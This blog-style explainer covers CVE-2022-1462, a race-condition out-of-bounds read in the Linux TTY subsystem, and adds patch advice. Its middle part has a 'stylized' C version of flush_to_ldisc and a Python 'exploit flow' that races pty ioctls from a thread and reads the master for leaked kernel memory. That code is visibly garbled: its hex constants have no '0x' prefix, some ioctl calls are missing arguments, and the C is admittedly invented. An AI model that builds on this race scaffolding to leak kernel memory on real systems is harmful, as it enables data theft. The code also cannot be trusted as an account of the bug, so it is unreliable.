A major security flaw known as CVE-2022-1462 was found in the Linux kernel's TTY (TeleTYpe) subsystem. This bug lets a local user crash the system or steal bits of data they're not supposed to see, all by messing with a race condition using specific ioctl calls. Let's break down what this means, how it happened, see some actual code, and give you the lowdown in simple American English.
What is TTY and What Happened?
The TTY subsystem in Linux controls things like terminals and virtual consoles. It's critical for user communication with the system. The problem here is an out-of-bounds read (OOB read), where the system grabs memory content it shouldn't, which can leak secrets—like passwords or encryption keys—or just lead to crashes.
The flaw is triggered by a race condition—two operations overlapping in unpredictable ways—using powerful ioctl commands:
- TIOCSPTLCK - locks/unlocks a pseudo terminal
TCXONC - controls terminal output flow
By calling these in the right, carefully-timed way, an attacker can exploit memory handling problems in the flush_to_ldisc function, letting them read random, uninitialized data from kernel memory.
The Technical Details
The bug resides in how the Linux kernel handles input buffering in flush_to_ldisc(). If you’re crafty, you can make the function try to read more data than is actually present, and since the data isn’t initialized, you just get garbage from memory, which might be sensitive.
Here’s a stylized, trimmed-down version to show the issue
static void flush_to_ldisc(struct work_struct *work)
{
struct tty_buffer *head;
size_t count;
head = tty->buf.head;
if (!head)
return;
count = head->size; // Vulnerable: might not match real buffer content
// ... race condition occurs here ...
memcpy(user_buf, head->data, count); // Reads past end of valid data
// user_buf now contains uninitialized kernel memory, potentially sensitive!
}
The dangerous part is that count might be bigger than what's actually valid in head->data, especially if the state changes between operations.
Exploit Details
This bug isn't remotely exploitable—it means the attacker has to already have local user access. But on multi-user servers or shared systems, that's plenty dangerous.
A practical exploit involves
1. Creating a pty/tty pair (think "virtual terminal").
2. Triggering the race condition by bombarding the device with ioctl calls (TIOCSPTLCK, TIOCGPTPEER, TIOCSTI, and TCXONC) from different threads for just the right timing.
3. Reading leaked memory from the result—sometimes this data can include previous command histories, passwords, or in the worst cases, kernel addresses or secrets.
Here's a simplified "exploit flow" using Python and C for clarity
import os
import pty
import fcntl
import threading
TIOCSPTLCK = x40045431
TIOCGPTPEER = x5441
TIOCSTI = x5412
TCXONC = x540A
master, slave = pty.openpty()
def do_ioctl_race(fd):
# Call ioctl with conflicting commands in a tight loop
for _ in range(100000):
try:
# Lock/unlock the pty
fcntl.ioctl(fd, TIOCSPTLCK, )
# Interact with peer
fcntl.ioctl(fd, TIOCGPTPEER, )
# Insert random char
fcntl.ioctl(fd, TIOCSTI, b"X")
# Control flow
fcntl.ioctl(fd, TCXONC, )
except Exception:
continue
threading.Thread(target=do_ioctl_race, args=(slave,)).start()
# Read potential leak from master
os.read(master, 1024) # This buffer may now contain leaked kernel memory
Disclaimer
This is vastly simplified for educational clarity. Creating a working exploit is more complicated and risky—*do not use this maliciously!*
Who Fixed It? When?
The flaw was discovered by security researchers and fixed in major Linux distros between April and May 2022. If you update your kernel (5.15.33+, 5.10.112+, 5.4.188+, and so on), you’re protected.
References
- Red Hat Bugzilla: CVE-2022-1462
- CVE-2022-1462 on Mitre
- Ubuntu Security Notice
- Linux kernel commit fixing CVE-2022-1462
- Qualys Security advisory (related TTY bugs)
Conclusion
CVE-2022-1462 is a scary reminder of how subtle bugs in old, trusted code can open up serious security risks. If you're a system admin or developer, keep your systems patched. If you're a researcher, always check for race conditions with tricky multi-threaded or multi-process code.
Got more questions about this CVE? Drop them below!
Timeline
Published on: 06/02/2022 14:15:00 UTC
Last modified on: 06/10/2022 14:55:00 UTC